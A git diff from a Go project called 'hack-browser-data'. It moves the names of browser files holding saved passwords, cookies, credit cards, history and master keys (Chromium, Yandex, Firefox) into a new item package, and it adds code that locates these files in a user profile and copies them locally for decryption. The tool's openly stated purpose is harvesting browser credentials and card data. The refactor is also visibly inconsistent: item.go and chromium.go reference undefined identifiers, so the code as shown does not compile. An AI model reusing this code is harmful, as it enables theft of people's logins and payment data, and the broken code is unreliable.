items []item.Item
|
||||
}{
|
||||
"firefox": {
|
||||
browserInfo: firefoxInfo,
|
||||
@ -45,7 +45,7 @@ var (
|
||||
)
|
||||
|
||||
func (c *chromium) GetMasterKey() ([]byte, error) {
|
||||
keyFile, err := utils.ReadFile(consts.ChromiumKeyFilename)
|
||||
keyFile, err := utils.ReadFile(item.TempChromiumKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
108
internal/browser/chromium/chromium.go
Normal file
108
internal/browser/chromium/chromium.go
Normal file
@ -0,0 +1,108 @@
|
||||
package chromium
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"hack-browser-data/internal/browser/data"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
)
|
||||
|
||||
type chromium struct {
|
||||
name string
|
||||
storage string
|
||||
profilePath string
|
||||
masterKey []byte
|
||||
items []item.Item
|
||||
itemPaths map[item.Item]string
|
||||
}
|
||||
|
||||
// newChromium 根据浏览器信息生成 Browser Interface
|
||||
func newChromium(name, storage, profilePath string, items []item.Item) (*chromium, error) {
|
||||
c := &chromium{
|
||||
name: name,
|
||||
storage: storage,
|
||||
profilePath: profilePath,
|
||||
items: items,
|
||||
}
|
||||
absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
|
||||
// TODO: Handle file path is not exist
|
||||
if !isFileExist(absProfilePath) {
|
||||
return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
|
||||
}
|
||||
itemsPaths, err := getChromiumItemPath(absProfilePath, c.items)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.itemPaths = itemsPaths
|
||||
return c, err
|
||||
}
|
||||
|
||||
func (c *chromium) GetName() string {
|
||||
return c.name
|
||||
}
|
||||
|
||||
func (c *chromium) GetBrowsingData() []data.BrowsingData {
|
||||
var browsingData []data.BrowsingData
|
||||
for item := range c.itemPaths {
|
||||
d := item.NewBrowsingData()
|
||||
if d != nil {
|
||||
browsingData = append(browsingData, d)
|
||||
}
|
||||
}
|
||||
return browsingData
|
||||
}
|
||||
|
||||
func (c *chromium) CopyItemFileToLocal() error {
|
||||
for item, sourcePath := range c.itemPaths {
|
||||
var dstFilename = item.FileName()
|
||||
locals, _ := filepath.Glob("*")
|
||||
for _, v := range locals {
|
||||
if v == dstFilename {
|
||||
err := os.Remove(dstFilename)
|
||||
// TODO: Should Continue all iteration error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TODO: Handle read file error
|
||||
sourceFile, err := ioutil.ReadFile(sourcePath)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
}
|
||||
err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getChromiumItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) {
|
||||
var itemPaths = make(map[item.Item]string)
|
||||
err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths))
|
||||
return itemPaths, err
|
||||
}
|
||||
|
||||
func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepath.WalkFunc {
|
||||
return func(path string, info os.FileInfo, err error) error {
|
||||
for _, it := range items {
|
||||
switch {
|
||||
case it.DefaultName() == info.Name():
|
||||
if it == it.chromiumKey {
|
||||
itemPaths[it] = path
|
||||
}
|
||||
if strings.Contains(path, "Default") {
|
||||
itemPaths[it] = path
|
||||
}
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
@ -1,47 +0,0 @@
|
||||
package consts
|
||||
|
||||
// item's default filename
|
||||
const (
|
||||
ChromiumKey = "Local State"
|
||||
ChromiumCredit = "Web Data"
|
||||
ChromiumPassword = "Login Data"
|
||||
ChromiumHistory = "History"
|
||||
ChromiumDownload = "History"
|
||||
ChromiumCookie = "Cookies"
|
||||
ChromiumBookmark = "Bookmarks"
|
||||
ChromiumLocalStorage = "chromiumLocalStorage"
|
||||
|
||||
YandexPassword = "Ya PassMan Data"
|
||||
YandexCredit = "Ya Credit Cards"
|
||||
|
||||
FirefoxKey4 = "key4.db"
|
||||
FirefoxCookie = "cookies.sqlite"
|
||||
FirefoxPassword = "logins.json"
|
||||
FirefoxData = "places.sqlite"
|
||||
|
||||
UnknownItem = "unknown item"
|
||||
UnsupportedItem = "unsupported item"
|
||||
)
|
||||
|
||||
// item's renamed filename
|
||||
const (
|
||||
ChromiumKeyFilename = "ChromiumKeyFilename"
|
||||
ChromiumCreditFilename = "ChromiumCreditFilename"
|
||||
ChromiumPasswordFilename = "ChromiumPasswordFilename"
|
||||
ChromiumHistoryFilename = "ChromiumHistoryFilename"
|
||||
ChromiumDownloadFilename = "ChromiumDownloadFilename"
|
||||
ChromiumCookieFilename = "ChromiumCookieFilename"
|
||||
ChromiumBookmarkFilename = "ChromiumBookmarkFilename"
|
||||
ChromiumLocalStorageFilename = "ChromiumLocalStorageFilename"
|
||||
|
||||
YandexPasswordFilename = "YandexPasswordFilename"
|
||||
YandexCreditFilename = "YandexCreditFilename"
|
||||
|
||||
FirefoxKey4Filename = "FirefoxKey4DBFilename"
|
||||
FirefoxCookieFilename = "FirefoxCookieFilename"
|
||||
FirefoxPasswordFilename = "FirefoxPasswordFilename"
|
||||
FirefoxDownloadFilename = "FirefoxDownloadFilename"
|
||||
FirefoxHistoryFilename = "FirefoxHistoryFilename"
|
||||
FirefoxBookmarkFilename = "FirefoxBookmarkFilename"
|
||||
FirefoxDataFilename = "FirefoxDataFilename"
|
||||
)
|
@ -1 +0,0 @@
|
||||
package consts
|
@ -7,14 +7,14 @@ import (
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
"hack-browser-data/internal/utils"
|
||||
)
|
||||
|
||||
type ChromiumBookmark []bookmark
|
||||
|
||||
func (c *ChromiumBookmark) Parse(masterKey []byte) error {
|
||||
bookmarks, err := utils.ReadFile(consts.ChromiumBookmarkFilename)
|
||||
bookmarks, err := utils.ReadFile(item.ChromiumBookmarkFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -26,6 +26,7 @@ func (c *ChromiumBookmark) Parse(masterKey []byte) error {
|
||||
return true
|
||||
})
|
||||
}
|
||||
// TODO: 使用泛型重构
|
||||
sort.Slice(*c, func(i, j int) bool {
|
||||
return (*c)[i].DateAdded.After((*c)[j].DateAdded)
|
||||
})
|
||||
@ -73,7 +74,7 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error {
|
||||
keyDB *sql.DB
|
||||
bookmarkRows *sql.Rows
|
||||
)
|
||||
keyDB, err = sql.Open("sqlite3", consts.FirefoxBookmarkFilename)
|
||||
keyDB, err = sql.Open("sqlite3", item.FirefoxBookmarkFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
@ -5,7 +5,7 @@ import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
"hack-browser-data/internal/decrypter"
|
||||
"hack-browser-data/internal/utils"
|
||||
|
||||
@ -15,7 +15,7 @@ import (
|
||||
type ChromiumCookie []cookie
|
||||
|
||||
func (c *ChromiumCookie) Parse(masterKey []byte) error {
|
||||
cookieDB, err := sql.Open("sqlite3", consts.ChromiumCookieFilename)
|
||||
cookieDB, err := sql.Open("sqlite3", item.ChromiumCookieFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -78,7 +78,7 @@ func (c *ChromiumCookie) Name() string {
|
||||
type FirefoxCookie []cookie
|
||||
|
||||
func (f *FirefoxCookie) Parse(masterKey []byte) error {
|
||||
cookieDB, err := sql.Open("sqlite3", consts.FirefoxCookieFilename)
|
||||
cookieDB, err := sql.Open("sqlite3", item.FirefoxCookieFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
@ -6,14 +6,14 @@ import (
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
"hack-browser-data/internal/decrypter"
|
||||
)
|
||||
|
||||
type ChromiumCreditCard []card
|
||||
|
||||
func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
|
||||
creditDB, err := sql.Open("sqlite3", consts.ChromiumCreditFilename)
|
||||
creditDB, err := sql.Open("sqlite3", item.TempChromiumCredit)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
@ -8,7 +8,7 @@ import (
|
||||
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
"hack-browser-data/internal/utils"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
@ -17,7 +17,7 @@ import (
|
||||
type ChromiumDownload []download
|
||||
|
||||
func (c *ChromiumDownload) Parse(masterKey []byte) error {
|
||||
historyDB, err := sql.Open("sqlite3", consts.ChromiumDownloadFilename)
|
||||
historyDB, err := sql.Open("sqlite3", item.ChromiumDownloadFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -63,7 +63,7 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error {
|
||||
keyDB *sql.DB
|
||||
downloadRows *sql.Rows
|
||||
)
|
||||
keyDB, err = sql.Open("sqlite3", consts.FirefoxDownloadFilename)
|
||||
keyDB, err = sql.Open("sqlite3", item.FirefoxDownloadFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
@ -5,7 +5,7 @@ import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
"hack-browser-data/internal/utils"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
@ -14,7 +14,7 @@ import (
|
||||
type ChromiumHistory []history
|
||||
|
||||
func (c *ChromiumHistory) Parse(masterKey []byte) error {
|
||||
historyDB, err := sql.Open("sqlite3", consts.ChromiumHistoryFilename)
|
||||
historyDB, err := sql.Open("sqlite3", item.ChromiumHistoryFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -60,7 +60,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error {
|
||||
keyDB *sql.DB
|
||||
historyRows *sql.Rows
|
||||
)
|
||||
keyDB, err = sql.Open("sqlite3", consts.FirefoxHistoryFilename)
|
||||
keyDB, err = sql.Open("sqlite3", item.FirefoxHistoryFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
@ -9,7 +9,7 @@ import (
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
"hack-browser-data/internal/browser/item"
|
||||
decrypter2 "hack-browser-data/internal/decrypter"
|
||||
"hack-browser-data/internal/utils"
|
||||
|
||||
@ -20,7 +20,7 @@ import (
|
||||
type ChromiumPassword []loginData
|
||||
|
||||
func (c *ChromiumPassword) Parse(masterKey []byte) error {
|
||||
loginDB, err := sql.Open("sqlite3", consts.ChromiumPasswordFilename)
|
||||
loginDB, err := sql.Open("sqlite3", item.TempChromiumPassword)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -80,7 +80,7 @@ func (c *ChromiumPassword) Name() string {
|
||||
type FirefoxPassword []loginData
|
||||
|
||||
func (f *FirefoxPassword) Parse(masterKey []byte) error {
|
||||
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(consts.FirefoxKey4Filename)
|
||||
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.FirefoxKey4Filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -106,7 +106,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
allLogin, err := getFirefoxLoginData(consts.FirefoxPasswordFilename)
|
||||
allLogin, err := getFirefoxLoginData(item.FirefoxPasswordFilename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
1
internal/browser/firefox/firefox.go
Normal file
1
internal/browser/firefox/firefox.go
Normal file
@ -0,0 +1 @@
|
||||
package firefox
|
@ -1,166 +0,0 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"hack-browser-data/internal/browser/consts"
|
||||
data2 "hack-browser-data/internal/browser/data"
|
||||
)
|
||||
|
||||
type item int
|
||||
|
||||
const (
|
||||
chromiumKey item = iota
|
||||
chromiumPassword
|
||||
chromiumCookie
|
||||
chromiumBookmark
|
||||
chromiumHistory
|
||||
chromiumDownload
|
||||
chromiumCreditCard
|
||||
chromiumLocalStorage
|
||||
chromiumExtension
|
||||
|
||||
yandexPassword
|
||||
yandexCreditCard
|
||||
|
||||
firefoxKey4
|
||||
firefoxPassword
|
||||
firefoxCookie
|
||||
firefoxBookmark
|
||||
firefoxHistory
|
||||
firefoxDownload
|
||||
firefoxCreditCard
|
||||
firefoxLocalStorage
|
||||
firefoxExtension
|
||||
)
|
||||
|
||||
func (i item) DefaultName() string {
|
||||
switch i {
|
||||
case chromiumKey:
|
||||
return consts.ChromiumKey
|
||||
case chromiumPassword:
|
||||
return consts.ChromiumPassword
|
||||
case chromiumCookie:
|
||||
return consts.ChromiumCookie
|
||||
case chromiumBookmark:
|
||||
return consts.ChromiumBookmark
|
||||
case chromiumDownload:
|
||||
return consts.ChromiumDownload
|
||||
case chromiumLocalStorage:
|
||||
return consts.ChromiumLocalStorage
|
||||
case chromiumCreditCard:
|
||||
return consts.ChromiumCredit
|
||||
case chromiumExtension:
|
||||
return consts.UnknownItem
|
||||
case chromiumHistory:
|
||||
return consts.ChromiumHistory
|
||||
case yandexPassword:
|
||||
return consts.YandexPassword
|
||||
case yandexCreditCard:
|
||||
return consts.YandexCredit
|
||||
case firefoxKey4:
|
||||
return consts.FirefoxKey4
|
||||
case firefoxPassword:
|
||||
return consts.FirefoxPassword
|
||||
case firefoxCookie:
|
||||
return consts.FirefoxCookie
|
||||
case firefoxBookmark:
|
||||
return consts.FirefoxData
|
||||
case firefoxDownload:
|
||||
return consts.FirefoxData
|
||||
case firefoxLocalStorage:
|
||||
return consts.UnsupportedItem
|
||||
case firefoxCreditCard:
|
||||
return consts.UnsupportedItem
|
||||
case firefoxHistory:
|
||||
return consts.FirefoxData
|
||||
case firefoxExtension:
|
||||
return consts.UnsupportedItem
|
||||
default:
|
||||
return consts.UnknownItem
|
||||
}
|
||||
}
|
||||
|
||||
func (i item) FileName() string {
|
||||
switch i {
|
||||
case chromiumKey:
|
||||
return consts.ChromiumKeyFilename
|
||||
case chromiumPassword:
|
||||
return consts.ChromiumPasswordFilename
|
||||
case chromiumCookie:
|
||||
return consts.ChromiumCookieFilename
|
||||
case chromiumBookmark:
|
||||
return consts.ChromiumBookmarkFilename
|
||||
case chromiumDownload:
|
||||
return consts.ChromiumDownloadFilename
|
||||
case chromiumLocalStorage:
|
||||
return consts.ChromiumLocalStorageFilename
|
||||
case chromiumCreditCard:
|
||||
return consts.ChromiumCreditFilename
|
||||
case chromiumHistory:
|
||||
return consts.ChromiumHistoryFilename
|
||||
case chromiumExtension:
|
||||
return consts.UnsupportedItem
|
||||
case yandexPassword:
|
||||
return consts.ChromiumPasswordFilename
|
||||
case yandexCreditCard:
|
||||
return consts.ChromiumCreditFilename
|
||||
case firefoxKey4:
|
||||
return consts.FirefoxKey4Filename
|
||||
case firefoxPassword:
|
||||
return consts.FirefoxPasswordFilename
|
||||
case firefoxCookie:
|
||||
return consts.FirefoxCookieFilename
|
||||
case firefoxBookmark:
|
||||
return consts.FirefoxBookmarkFilename
|
||||
case firefoxDownload:
|
||||
return consts.FirefoxDownloadFilename
|
||||
case firefoxLocalStorage:
|
||||
return consts.UnsupportedItem
|
||||
case firefoxCreditCard:
|
||||
return consts.UnsupportedItem
|
||||
case firefoxHistory:
|
||||
return consts.FirefoxHistoryFilename
|
||||
case firefoxExtension:
|
||||
return consts.UnsupportedItem
|
||||
default:
|
||||
return consts.UnknownItem
|
||||
}
|
||||
}
|
||||
|
||||
func (i item) NewBrowsingData() data2.BrowsingData {
|
||||
switch i {
|
||||
case chromiumKey:
|
||||
return nil
|
||||
case chromiumPassword:
|
||||
return &data2.ChromiumPassword{}
|
||||
case chromiumCookie:
|
||||
return &data2.ChromiumCookie{}
|
||||
case chromiumBookmark:
|
||||
return &data2.ChromiumBookmark{}
|
||||
case chromiumDownload:
|
||||
return &data2.ChromiumDownload{}
|
||||
case chromiumLocalStorage:
|
||||
return nil
|
||||
case chromiumCreditCard:
|
||||
return &data2.ChromiumCreditCard{}
|
||||
case chromiumExtension:
|
||||
return nil
|
||||
case chromiumHistory:
|
||||
return &data2.ChromiumHistory{}
|
||||
case yandexPassword:
|
||||
return &data2.ChromiumPassword{}
|
||||
case yandexCreditCard:
|
||||
return &data2.ChromiumCreditCard{}
|
||||
case firefoxPassword:
|
||||
return &data2.FirefoxPassword{}
|
||||
case firefoxCookie:
|
||||
return &data2.FirefoxCookie{}
|
||||
case firefoxBookmark:
|
||||
return &data2.FirefoxBookmark{}
|
||||
case firefoxDownload:
|
||||
return &data2.FirefoxDownload{}
|
||||
case firefoxHistory:
|
||||
return &data2.FirefoxHistory{}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
47
internal/browser/item/filename.go
Normal file
47
internal/browser/item/filename.go
Normal file
@ -0,0 +1,47 @@
|
||||
package item
|
||||
|
||||
// item's default filename
|
||||
const (
|
||||
FileChromiumKey = "Local State"
|
||||
FileChromiumCredit = "Web Data"
|
||||
FileChromiumPassword = "Login Data"
|
||||
FileChromiumHistory = "History"
|
||||
FileChromiumDownload = "History"
|
||||
FileChromiumCookie = "Cookies"
|
||||
FileChromiumBookmark = "Bookmarks"
|
||||
FileChromiumLocalStorage = "chromiumLocalStorage"
|
||||
|
||||
FileYandexPassword = "Ya PassMan Data"
|
||||
FileYandexCredit = "Ya Credit Cards"
|
||||
|
||||
FileFirefoxKey4 = "key4.db"
|
||||
FileFirefoxCookie = "cookies.sqlite"
|
||||
FileFirefoxPassword = "logins.json"
|
||||
FileFirefoxData = "places.sqlite"
|
||||
|
||||
FileUnknownItem = "unknown item"
|
||||
FileUnsupportedItem = "unsupported item"
|
||||
)
|
||||
|
||||
// item's renamed filename
|
||||
const (
|
||||
TempChromiumKey = "TempChromiumKey"
|
||||
TempChromiumCredit = "TempChromiumCredit"
|
||||
TempChromiumPassword = "TempChromiumPassword"
|
||||
TempChromiumHistory = "TempChromiumHistory"
|
||||
TempChromiumDownload = "TempChromiumDownload"
|
||||
TempChromiumCookie = "TempChromiumCookie"
|
||||
TempChromiumBookmark = "TempChromiumBookmark"
|
||||
TempChromiumLocalStorage = "TempChromiumLocalStorage"
|
||||
|
||||
TempYandexPassword = "TempYandexPassword"
|
||||
TempYandexCredit = "TempYandexCredit"
|
||||
|
||||
TempFirefoxKey4 = "TempFirefoxKey4"
|
||||
TempFirefoxCookie = "TempFirefoxCookie"
|
||||
TempFirefoxPassword = "TempFirefoxPassword"
|
||||
TempFirefoxDownload = "TempFirefoxDownload"
|
||||
TempFirefoxHistory = "TempFirefoxHistory"
|
||||
TempFirefoxBookmark = "TempFirefoxBookmark"
|
||||
TempFirefoxData = "TempFirefoxData"
|
||||
)
|
165
internal/browser/item/item.go
Normal file
165
internal/browser/item/item.go
Normal file
@ -0,0 +1,165 @@
|
||||
package item
|
||||
|
||||
import (
|
||||
data2 "hack-browser-data/internal/browser/data"
|
||||
)
|
||||
|
||||
type Item int
|
||||
|
||||
const (
|
||||
ItemChromiumKey Item = iota
|
||||
ItemChromiumPassword
|
||||
ItemChromiumCookie
|
||||
ItemChromiumBookmark
|
||||
ItemChromiumHistory
|
||||
ItemChromiumDownload
|
||||
ItemChromiumCreditCard
|
||||
ItemChromiumLocalStorage
|
||||
ItemChromiumExtension
|
||||
|
||||
ItemYandexPassword
|
||||
ItemYandexCreditCard
|
||||
|
||||
ItemFirefoxKey4
|
||||
ItemFirefoxPassword
|
||||
ItemFirefoxCookie
|
||||
ItemFirefoxBookmark
|
||||
ItemFirefoxHistory
|
||||
ItemFirefoxDownload
|
||||
ItemFirefoxCreditCard
|
||||
ItemFirefoxLocalStorage
|
||||
ItemFirefoxExtension
|
||||
)
|
||||
|
||||
func (i Item) DefaultName() string {
|
||||
switch i {
|
||||
case ItemChromiumKey:
|
||||
return ChromiumKey
|
||||
case ItemChromiumPassword:
|
||||
return ChromiumPassword
|
||||
case ItemChromiumCookie:
|
||||
return ChromiumCookie
|
||||
case ItemChromiumBookmark:
|
||||
return ChromiumBookmark
|
||||
case ItemChromiumDownload:
|
||||
return ChromiumDownload
|
||||
case ItemChromiumLocalStorage:
|
||||
return ChromiumLocalStorage
|
||||
case ItemChromiumCreditCard:
|
||||
return ChromiumCredit
|
||||
case ItemChromiumExtension:
|
||||
return UnknownItem
|
||||
case ItemChromiumHistory:
|
||||
return ChromiumHistory
|
||||
case ItemYandexPassword:
|
||||
return YandexPassword
|
||||
case ItemYandexCreditCard:
|
||||
return YandexCredit
|
||||
case ItemFirefoxKey4:
|
||||
return FirefoxKey4
|
||||
case ItemFirefoxPassword:
|
||||
return FirefoxPassword
|
||||
case ItemFirefoxCookie:
|
||||
return FirefoxCookie
|
||||
case ItemFirefoxBookmark:
|
||||
return FirefoxData
|
||||
case ItemFirefoxDownload:
|
||||
return FirefoxData
|
||||
case ItemFirefoxLocalStorage:
|
||||
return UnsupportedItem
|
||||
case ItemFirefoxCreditCard:
|
||||
return UnsupportedItem
|
||||
case ItemFirefoxHistory:
|
||||
return FirefoxData
|
||||
case ItemFirefoxExtension:
|
||||
return UnsupportedItem
|
||||
default:
|
||||
return UnknownItem
|
||||
}
|
||||
}
|
||||
|
||||
func (i Item) FileName() string {
|
||||
switch i {
|
||||
case chromiumKey:
|
||||
return TempChromiumKey
|
||||
case chromiumPassword:
|
||||
return TempChromiumPassword
|
||||
case chromiumCookie:
|
||||
return ChromiumCookieFilename
|
||||
case chromiumBookmark:
|
||||
return ChromiumBookmarkFilename
|
||||
case chromiumDownload:
|
||||
return ChromiumDownloadFilename
|
||||
case chromiumLocalStorage:
|
||||
return ChromiumLocalStorageFilename
|
||||
case chromiumCreditCard:
|
||||
return TempChromiumCredit
|
||||
case chromiumHistory:
|
||||
return TempChromiumHistory
|
||||
case chromiumExtension:
|
||||
return UnsupportedItem
|
||||
case yandexPassword:
|
||||
return TempChromiumPassword
|
||||
case yandexCreditCard:
|
||||
return TempChromiumCredit
|
||||
case firefoxKey4:
|
||||
return FirefoxKey4Filename
|
||||
case firefoxPassword:
|
||||
return FirefoxPasswordFilename
|
||||
case firefoxCookie:
|
||||
return FirefoxCookieFilename
|
||||
case firefoxBookmark:
|
||||
return FirefoxBookmarkFilename
|
||||
case firefoxDownload:
|
||||
return FirefoxDownloadFilename
|
||||
case firefoxLocalStorage:
|
||||
return UnsupportedItem
|
||||
case firefoxCreditCard:
|
||||
return UnsupportedItem
|
||||
case firefoxHistory:
|
||||
return FirefoxHistoryFilename
|
||||
case firefoxExtension:
|
||||
return UnsupportedItem
|
||||
default:
|
||||
return UnknownItem
|
||||
}
|
||||
}
|
||||
|
||||
func (i Item) NewBrowsingData() data2.BrowsingData {
|
||||
switch i {
|
||||
case chromiumKey:
|
||||
return nil
|
||||
case chromiumPassword:
|
||||
return &data2.ChromiumPassword{}
|
||||
case chromiumCookie:
|
||||
return &data2.ChromiumCookie{}
|
||||
case chromiumBookmark:
|
||||
return &data2.ChromiumBookmark{}
|
||||
case chromiumDownload:
|
||||
return &data2.ChromiumDownload{}
|
||||
case chromiumLocalStorage:
|
||||
return nil
|
||||
case chromiumCreditCard:
|
||||
return &data2.ChromiumCreditCard{}
|
||||
case chromiumExtension:
|
||||
return nil
|
||||
case chromiumHistory:
|
||||
return &data2.ChromiumHistory{}
|
||||
case yandexPassword:
|
||||
return &data2.ChromiumPassword{}
|
||||
case yandexCreditCard:
|
||||
return &data2.ChromiumCreditCard{}
|
||||
case firefoxPassword:
|
||||
return &data2.FirefoxPassword{}
|
||||
case firefoxCookie:
|
||||
return &data2.FirefoxCookie{}
|
||||
case firefoxBookmark:
|
||||
return &data2.FirefoxBookmark{}
|
||||
case firefoxDownload:
|
||||
return &data2.FirefoxDownload{}
|
||||
case firefoxHistory:
|
||||
return &data2.FirefoxHistory{}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
1
internal/browser/item/sql.go
Normal file
1
internal/browser/item/sql.go
Normal file
@ -0,0 +1 @@
|
||||
package item
|
Loading…
Reference in New Issue
Block a user